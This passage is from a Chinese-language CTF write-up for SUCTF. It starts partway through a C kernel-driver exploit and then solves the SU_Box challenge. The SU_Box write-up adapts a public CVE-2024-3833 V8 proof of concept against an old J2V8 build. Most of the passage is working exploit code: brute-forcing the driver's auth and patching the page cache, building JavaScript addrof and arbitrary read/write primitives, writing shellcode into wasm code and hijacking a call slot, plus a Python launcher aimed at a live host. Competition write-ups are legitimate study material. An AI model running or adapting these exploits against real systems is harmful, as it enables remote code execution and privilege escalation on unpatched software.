static const uint64_t k_step = 0x20000ULL;
static const unsigned char payload[] =
"#!/bin/sh\n"
"cp /flag /tmp/f\n"
"chmod 777 /tmp/f\n"
"#######";
int fd = open("/dev/chronos_ring", O_RDWR);
if (fd < 0) {
fprintf(stderr, "[-] open /dev/chronos_ring failed: %s\n", strerror(errno));
return 1;
}
must_ioctl(fd, CMD_CREATE, 0, "ioctl(CMD_CREATE)");
fprintf(stderr, "[+] created chronos buffer\n");
uint64_t found = 0;
for (uint64_t masked = k_start; masked < k_end; masked += k_step) {
struct auth_arg a = {
.x = masked ^ k_magic,
.y = 0,
};
if (ioctl(fd, CMD_AUTH, &a) == 0) {
found = masked;
fprintf(stderr, "[+] auth success, masked kfree = 0x%016" PRIx64 "\n", found);
break;
}
}
if (!found) {
fprintf(stderr, "[-] auth brute-force failed\n");
return 1;
}
struct write_arg w = {
.src = (uint64_t)(uintptr_t)payload,
.len = (uint32_t)sizeof(payload) - 1,
.off = 0,
};
must_ioctl(fd, CMD_WRITE_BUF, &w, "ioctl(CMD_WRITE_BUF)");
fprintf(stderr, "[+] staged payload in ring buffer\n");
void *pin = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (pin == MAP_FAILED) {
fprintf(stderr, "[-] mmap failed: %s\n", strerror(errno));
return 1;
}
memset(pin, 0x41, 0x1000);
uint64_t pin_addr = (uint64_t)(uintptr_t)pin;
must_ioctl(fd, CMD_PIN_PAGE, &pin_addr, "ioctl(CMD_PIN_PAGE)");
fprintf(stderr, "[+] pinned user page\n");
int jobfd = open("/tmp/job", O_RDONLY);
if (jobfd < 0) {
fprintf(stderr, "[-] open /tmp/job failed: %s\n", strerror(errno));
return 1;
}
uint64_t jobfd_arg = (uint64_t)(uint32_t)jobfd;
must_ioctl(fd, CMD_LOAD_JOB_PAGE, &jobfd_arg, "ioctl(CMD_LOAD_JOB_PAGE)");
fprintf(stderr, "[+] loaded job page cache\n");
must_ioctl(fd, CMD_BUILD_VIEW, 0, "ioctl(CMD_BUILD_VIEW)");
fprintf(stderr, "[+] built writable view\n");
struct write_arg s = {
.src = 0,
.len = (uint32_t)sizeof(payload) - 1,
.off = 0,
};
must_ioctl(fd, CMD_SYNC_VIEW, &s, "ioctl(CMD_SYNC_VIEW)");
fprintf(stderr, "[+] patched /tmp/job page cache\n");
for (int i = 0; i < 8; i++) {
sleep(1);
int f = open("/tmp/f", O_RDONLY);
if (f < 0) {
continue;
}
char buf[256];
ssize_t n = read(f, buf, sizeof(buf) - 1);
close(f);
if (n <= 0) {
continue;
}
buf[n] = '\0';
printf("%s", buf);
return 0;
}
fprintf(stderr, "[-] timed out waiting for /tmp/f\n");
return 1;
}
SUCTF{VGhhc19BU19XSEFUX1Vfd0FudF9mbGFnX2ZsYWdfZmxhZyEhIQ==}
SU_Chronos_Ring1
这道题与上一道的打法是一样的,不知道是不是我没有做到预期解的原因,同一套exp.c都可以成功利用
赛后我对比了两个题的BuildID 是一致的,只是init脚本和启动脚本有轻微差异,不影响漏洞利用
SUCTF{JEQG2YLEMUQGCIDNNFZXIYLLMUWCASJANBXXAZJAPFXXKIDXN5XCO5BANVQWWZJANF2A====}
SU_Box
漏洞不在 Java 代码,而在内嵌 V8
直接看app.java
import com.eclipsesource.v8.*;
import java.io.*;
public class App {
private static final int MAX_SCRIPT_SIZE = 1048576;
public static void main(String[] args) throws Exception {
System.out.println(" ____ _ _ ____ ");
System.out.println(" / ___|| | | | __ ) _____ __");
System.out.println(" \\___ \\| | | | _ \\ / _ \\ \\/ /");
System.out.println(" ___) | |_| | |_) | (_) > < ");
System.out.println(" |____/ \\___/|____/ \\___/_/\\_\\");
System.out.println();
System.out.println("A simple script box. Enter JavaScript below.");
System.out.println("End your input with 'EOF' on a new line.");
System.out.println("─────────────────────────────────────────────────");
System.out.flush();
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
StringBuilder script = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
if ("EOF".equals(line)) break;
if (script.length() + line.length() > MAX_SCRIPT_SIZE) {
System.out.println("Error: script too large (max 1MB)");
return;
}
script.append(line).append("\n");
}
if (script.isEmpty()) {
System.out.println("Error: empty script");
return;
}
System.out.println("─────────────────────────────────────────────────");
System.out.println("[*] Executing...");
System.out.flush();
V8 v8 = V8.createV8Runtime();
v8.registerJavaMethod((JavaVoidCallback) (receiver, params) -> {
if (params.length() > 0) {
System.out.println(params.get(0).toString());
System.out.flush();
}
}, "log");
try {
Object result = v8.executeScript(script.toString());
if (result instanceof V8Object) ((V8Object) result).release();
} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
} finally {
if (!v8.isReleased()) v8.release();
}
}
}
整个逻辑就是一个简易的 JavaScript 脚本执行器,读取用户输入的javascript(max 1MB),初始化v8引擎,然后执行代码,最后输出结果,并且注册了一个log回调函数
业务逻辑上基本看不出什么漏洞,所以需要深入分析下com.eclipsesource.v8(J2V8),v8引擎的java绑定库
解包linux-x86_64.jar,先从里面看libj2v8-linux-x86_64.so的版本号
strings libj2v8-linux-x86_64.so | grep -E "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+"

9.3.345.11,比较老的版本
于是寻思着上网找找有没有可以用到的n-day poc
参考了这个:
https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE_2024_3833
公开 PoC 直接打远端,很多时候只到 NOOOB / 崩溃,命中率不够
有些偏移和攻击目标需要调整
目标路径:可控 OOB -> addrof/aar/aaw -> 控制函数调用目标 -> shellcode
参照公开poc,Map 在 hole/deleted key 的边界处理上出现状态错乱,后续 set 写入打到了相邻对象元数据,把本来长度很小的 JSArray 变成了伪超长数组
也就是先让make_hole_old() 触发 hole,
function make_hole_old() {
let a = [], b = [], s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try { JSON.stringify(b); } catch (h) { return h; }
throw new Error('no hole');
}
然后Map 经过 set/delete 特定序列后进入异常状态
function getmap(h) {
let m = new Map();
m.set(1, 1);
m.set(h, 1);
m.delete(h);
m.delete(h);
m.delete(1);
return m;
}
接着m.set(0x16, -1); m.set(arr, 0xffff); 让 arr.length 异常变大
before
+--------------------+--------------------+
| Map internal table | JSArray(arr) hdr |
+--------------------+--------------------+
| len = 4 |
+--------------------+
after (漏洞触发)
+--------------------+--------------------+
| corrupted metadata | JSArray(arr) hdr |
+--------------------+--------------------+
| len = 0xffff |
+--------------------+
这样arr越界就出现了
然后通过越界访问的能力,公开poc做了哪个 arr[i] 能控 victim 的 elements,再找哪个 arr[j] 能做 addrof的测试
这个版本里我们通过脚本能稳定观测到:arr[14] 可用于对象地址泄漏(addrof),arr[10] 能影响另一个浮点数组 victim 的 elements 指针,观测脚本:
var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u64 = new BigUint64Array(ab);
function ftoi(f) { f64[0] = f; return u64[0]; }
function itof(i) { u64[0] = i; return f64[0]; }
function out(s) {
if (typeof log === 'function') log(String(s));
else if (typeof console !== 'undefined' && console.log) console.log(String(s));
}
function hex(x) {
return '0x' + x.toString(16);
}
function make_hole_old() {
var a = [], b = [], s = '"'.repeat(0x800000);
a[20000] = s;
for (var i = 0; i < 10; i++) a[i] = s;
for (var j = 0; j < 10; j++) b[j] = a;
try { JSON.stringify(b); } catch (h) { return h; }
throw new Error('no hole');
}
function getmap(h) {
var m = new Map();
m.set(1, 1);
m.set(h, 1);
m.delete(h);
m.delete(h);
m.delete(1);
return m;
}
function trigger_oob_once() {
try {
var h = make_hole_old();
var m = getmap(h);
var arr = [1.1, 2.2, 3.3, 4.4];
var victim = [10.1, 20.2, 30.3, 40.4];
var obj = [{ a: 1 }, { b: 2 }];
m.set(0x16, -1);
m.set(arr, 0xffff);
if (arr.length > 100) {
return { arr: arr, victim: victim, obj: obj };
}
} catch (e) {
}
return null;
}
function find_elements_control_index(arr, victim, start, end) {
var baseline = victim[0];
var candidates = [];
for (var i = start; i <= end; i++) {
var bak = arr[i];
var hit = 0;
for (var t = 0; t < 3; t++) {
try {
arr[i] = itof(0x1337000000000000n + BigInt(i * 0x10 + t));
if (ftoi(victim[0]) !== ftoi(baseline)) {
hit++;
victim[0] = baseline;
}
} catch (e) {
}
}
arr[i] = bak;
victim[0] = baseline;
if (hit > 0) {
candidates.push({ index: i, hit: hit });
}
}
return candidates;
}
function find_addrof_leak_index(arr, obj, start, end) {
var A = { x: 0x1111 };
var B = { x: 0x2222 };
var C = { x: 0x3333 };
var candidates = [];
for (var i = start; i <= end; i++) {
var bak = arr[i];
try {
obj[0] = A;
var v1 = ftoi(arr[i]);
obj[0] = B;
var v2 = ftoi(arr[i]);
obj[0] = C;
var v3 = ftoi(arr[i]);
if (v1 !== v2 && v2 !== v3 && v1 !== v3) {
candidates.push({ index: i, v1: v1, v2: v2, v3: v3 });
}
} catch (e) {
}
arr[i] = bak;
}
return candidates;
}
(function () {
out('[*] demo_oob_probe.js start');
var state = null;
for (var r = 0; r < 1200; r++) {
state = trigger_oob_once();
if (state) break;
}
if (!state) {
out('[-] OOB not triggered');
return;
}
var arr = state.arr;
var victim = state.victim;
var obj = state.obj;
out('[+] OOB triggered, arr.length=' + arr.length);
var ctrl = find_elements_control_index(arr, victim, 8, 20);
if (ctrl.length === 0) {
out('[-] no elements-control candidate in [8..20]');
} else {
out('[+] elements-control candidates:');
for (var i = 0; i < ctrl.length; i++) {
out(' idx=' + ctrl[i].index + ' hit=' + ctrl[i].hit + '/3');
}
}
var leak = find_addrof_leak_index(arr, obj, 8, 20);
if (leak.length === 0) {
out('[-] no addrof-leak candidate in [8..20]');
} else {
out('[+] addrof-leak candidates:');
for (var j = 0; j < leak.length; j++) {
out(' idx=' + leak[j].index +
' v1=' + hex(leak[j].v1) +
' v2=' + hex(leak[j].v2) +
' v3=' + hex(leak[j].v3));
}
}
out('[*] Expect on this challenge: elements-control ~= 10, leak ~= 14');
})();
+------------------+ overwrite element ptr +------------------+
| arr (OOB array) | -------------------------------------> | victim (float[]) |
+------------------+ +------------------+
| |
| arr[14] 泄漏对象地址 | victim[0] 作为任意地址读写窗
v v
addrof primitive aar / aaw primitive
接下来就是原语实现:
addrof(o):obj[0]=o 后读 arr[14] 拿到地址
aar(addr):把 arr[10] 改到 addr-0xf,再读 victim[0]
aaw(addr,val):同理写 victim[0]
这一步完成后,基本就是“进程内任意 8 字节读写”
然后找代码执行入口
公开poc会尝试:wasm_instance + 0x60 直接拿 rwx,
但由于版本原因,本题这条路不稳定/不生效,后来用ai找到了一条真正可打通的链路:
- 先定位 wasm 代码区指针:
p80 = *(instance + 0x80) - 在
p80 + 0x300写 shellcode - 改
GenericJSToWasmWrapper调用链里的可写 call target 槽 - 调
f()触发跳转到 shellcode
JS 调用 f()
|
v
+------------------------------+
| Builtins_GenericJSToWasm... |
+------------------------------+
| rdi = [f + 0x17]
v
+------------------------------+
| obj1 |
+------------------------------+
| rdi = [obj1 + 0x7]
v
+------------------------------+
| obj2 |
+------------------------------+
| call [obj2 + 0x7] <---- 我们改这个槽
v
shellcode @ (p80 + 0x300)
exp.js
var ab = new ArrayBuffer(8);
var f64 = new Float64Array(ab);
var u64 = new BigUint64Array(ab);
function ftoi(f) { f64[0] = f; return u64[0]; }
function itof(i) { u64[0] = i; return f64[0]; }
function make_hole_old() {
let a = [], b = [], s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try { JSON.stringify(b); } catch (h) { return h; }
throw new Error('no hole');
}
function getmap(h) {
let m = new Map();
m.set(1, 1);
m.set(h, 1);
m.delete(h);
m.delete(h);
m.delete(1);
return m;
}
function build_primitives() {
for (let r = 0; r < 600; r++) {
try {
let h = make_hole_old();
let m = getmap(h);
let arr = [1.1, 2.2, 3.3, 4.4];
let victim = [10.1, 20.2, 30.3, 40.4];
let obj = [{ a: 1 }, { b: 2 }];
m.set(0x16, -1);
m.set(arr, 0xffff);
if (arr.length <= 100) continue;
let save = arr[10];
function addrof(o) {
obj[0] = o;
return ftoi(arr[14]);
}
function aar(addr) {
arr[10] = itof(addr - 0xfn);
let v = ftoi(victim[0]);
arr[10] = save;
return v;
}
function aaw(addr, val) {
arr[10] = itof(addr - 0xfn);
victim[0] = itof(val);
arr[10] = save;
}
return { addrof: addrof, aar: aar, aaw: aaw };
} catch (e) {}
}
return null;
}
function write_bytes(aaw, addr, bytes) {
for (let i = 0; i < bytes.length; i += 8) {
let q = 0n;
for (let j = 0; j < 8; j++) {
if (i + j < bytes.length) {
q |= BigInt(bytes[i + j]) << (8n * BigInt(j));
}
}
aaw(addr + BigInt(i), q);
}
}
(function () {
let p = build_primitives();
if (!p) {
log('NO_PRIM');
return;
}
let wasmCode = new Uint8Array([
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,
4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,
7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,
128,128,128,0,1,132,128,128,128,0,0,65,42,11
]);
let inst = new WebAssembly.Instance(new WebAssembly.Module(wasmCode));
let f = inst.exports.main;
let ia = p.addrof(inst);
let fa = p.addrof(f);
// wasm jump table / code area (RWX in this target build)
let p80 = p.aar(ia - 1n + 0x80n);
let shell = p80 + 0x300n;
let sc = [
0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x66,0x6c,0x61,0x67,0x00,0x00,0x00,0x53,0x49,
0x89,0xe4,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x63,0x61,0x74,0x53,0x48,0x89,
0xe7,0x50,0x41,0x54,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0xb0,0x3b,0x0f,0x05
];
write_bytes(p.aaw, shell, sc);
// Builtins_GenericJSToWasmWrapper chain:
// rdi = [f + 0x17], rdi = [rdi + 0x7], call [rdi + 0x7]
let obj1 = p.aar(fa - 1n + 0x18n);
let obj2 = p.aar(obj1 - 1n + 0x8n);
let slot = obj2 - 1n + 0x8n;
p.aaw(slot, shell);
f();
})();
exp.py
#!/usr/bin/env python3
import re
import socket
import sys
import time
HOST = "101.245.104.190"
PORT = 10008
MAX_TRIES = 120
FLAG_RE = re.compile(r"SUCTF\{[^\r\n}]*\}")
def run_once(payload: bytes, timeout: float = 6.0) -> str:
s = socket.create_connection((HOST, PORT), timeout=4.0)
s.settimeout(timeout)
out = bytearray()
try:
s.sendall(payload)
while True:
try:
chunk = s.recv(4096)
except socket.timeout:
break
if not chunk:
break
out.extend(chunk)
finally:
try:
s.close()
except Exception:
pass
return out.decode("utf-8", "ignore")
def main() -> int:
with open("exp.js", "r", encoding="utf-8") as f:
js = f.read()
payload = (js + "\nEOF\n").encode()
for i in range(1, MAX_TRIES + 1):
try:
txt = run_once(payload)
except Exception as e:
print(f"[{i}] EX {e}", flush=True)
time.sleep(0.2)
continue
m = FLAG_RE.search(txt)
if m:
print(f"[{i}] FLAG {m.group(0)}")
print(txt)
return 0
tail = " | ".join(line.strip() for line in txt.splitlines()[-4:])
print(f"[{i}] noflag {tail if tail else '(empty)'}", flush=True)
time.sleep(0.1)
print(f"NO_FLAG_IN_{MAX_TRIES}_TRIES")
return 1
if __name__ == "__main__":
sys.exit(main())
SUCTF{y0u_kn@w_v8_p@tch_gap_we1!}









